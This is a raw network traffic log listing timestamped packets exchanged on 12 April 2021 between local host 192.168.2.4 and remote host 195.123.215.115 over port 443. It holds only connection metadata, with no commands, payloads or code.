Apr 12, 2021 13:46:43.133461952 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133476019 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133516073 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133563042 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133563995 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133577108 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133608103 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133610964 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133646011 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133680105 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133686066 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133696079 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133722067 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133724928 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133761883 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133763075 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133791924 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133801937 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133836985 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133840084 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133869886 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133887053 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133915901 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133929014 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.133944988 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.133966923 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134005070 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134012938 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134043932 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134074926 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134084940 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134119034 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134171963 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134193897 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134243011 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134289980 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134298086 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134335041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134361029 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134373903 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134406090 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134413958 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134448051 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134455919 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134481907 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134494066 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134525061 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134531975 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134571075 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134586096 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134594917 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134617090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134628057 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134660006 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134691000 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134697914 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134737968 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134768009 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134774923 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134805918 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134813070 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134855032 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134855986 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134886980 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134892941 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134932041 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134942055 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.134962082 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.134984016 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135006905 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135021925 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135061026 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135062933 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135099888 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135137081 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135142088 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135174990 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135212898 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135219097 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135260105 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135276079 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135303974 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135324955 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135341883 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135380983 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135396957 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135410070 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135447025 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135458946 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135502100 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135514975 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135539055 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135577917 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135581017 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135617018 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135649920 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135653973 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135691881 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135708094 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135730982 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135762930 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135776997 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135818958 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135833979 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135857105 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135885954 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135896921 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135935068 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.135953903 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.135972023 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.136004925 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.136009932 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.136084080 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.168339968 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168401957 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168441057 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168481112 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168519020 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168565035 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.168567896 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168612957 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168651104 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168689013 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168699026 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.168746948 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168756962 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.168787003 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168801069 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.168827057 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168865919 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168903112 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168906927 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.168943882 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168982983 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.168987989 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169034004 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169038057 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169075966 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169114113 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169125080 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169153929 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169192076 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169205904 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169230938 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169261932 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169270992 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169312000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169338942 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169359922 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169437885 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169439077 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169481993 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169519901 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169524908 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169559002 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169596910 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169604063 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169644117 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169684887 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169687033 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169725895 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169742107 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169765949 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169809103 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169823885 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169846058 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169883013 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169919968 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.169955969 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169966936 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.169966936 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170013905 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170037985 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170052052 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170092106 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170130014 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170130968 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170167923 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170182943 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170207024 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170245886 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170257092 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170291901 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170325041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170371056 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170372009 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170408964 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170427084 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170448065 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170485973 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170486927 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170525074 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170561075 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170562983 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170600891 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.170644999 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.170715094 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.175578117 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.175632954 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.175774097 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.176551104 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.176656961 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.204158068 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204200029 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204236031 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204273939 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204313993 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204349041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204375982 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.204389095 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204427958 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204473972 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204515934 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204552889 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204591990 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204631090 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204668045 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204705000 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.204706907 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204746962 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204794884 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204833984 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.204835892 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204876900 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204905987 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.204916000 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204955101 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.204965115 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.204993010 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205030918 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205035925 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.205070019 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205117941 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205142975 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.205159903 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205187082 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.205209970 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205250025 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205287933 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205321074 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.205326080 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205352068 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.205364943 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205445051 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205487013 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205533981 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.205563068 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.205576897 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.209366083 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.212877035 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.239885092 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.239939928 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.239979029 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240017891 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240040064 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240053892 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240092039 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240098000 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240130901 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240154982 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240179062 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240221024 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240247965 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240258932 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240299940 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240325928 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240338087 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240375996 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240401983 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240416050 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240453959 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240485907 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240502119 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240545034 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240571976 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240586996 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240626097 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240664005 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240670919 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240700960 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240739107 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240776062 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240777969 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240808010 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240823030 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240864992 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240901947 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240941048 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.240967989 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.240978003 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.241015911 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.241053104 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.241113901 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.244621038 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.244663954 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.244776964 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.245688915 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274571896 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274629116 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274667978 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274697065 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.274704933 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274741888 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.274744034 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274782896 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274816036 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.274837017 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274893999 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274930000 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.274943113 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.274982929 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275018930 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.275019884 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275058031 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275094986 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275132895 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275156021 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.275178909 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275202990 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.275222063 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275259018 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275265932 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.275299072 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275340080 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275363922 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.275420904 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.275943041 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.275993109 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.276031971 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.276071072 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.276109934 CEST	443	49762	195.123.215.115	192.168.2.4
Apr 12, 2021 13:46:43.276113033 CEST	49762	443	192.168.2.4	195.123.215.115
Apr 12, 2021 13:46:43.276156902 CEST	443	49762	195.123.215.115	192.168.2.4
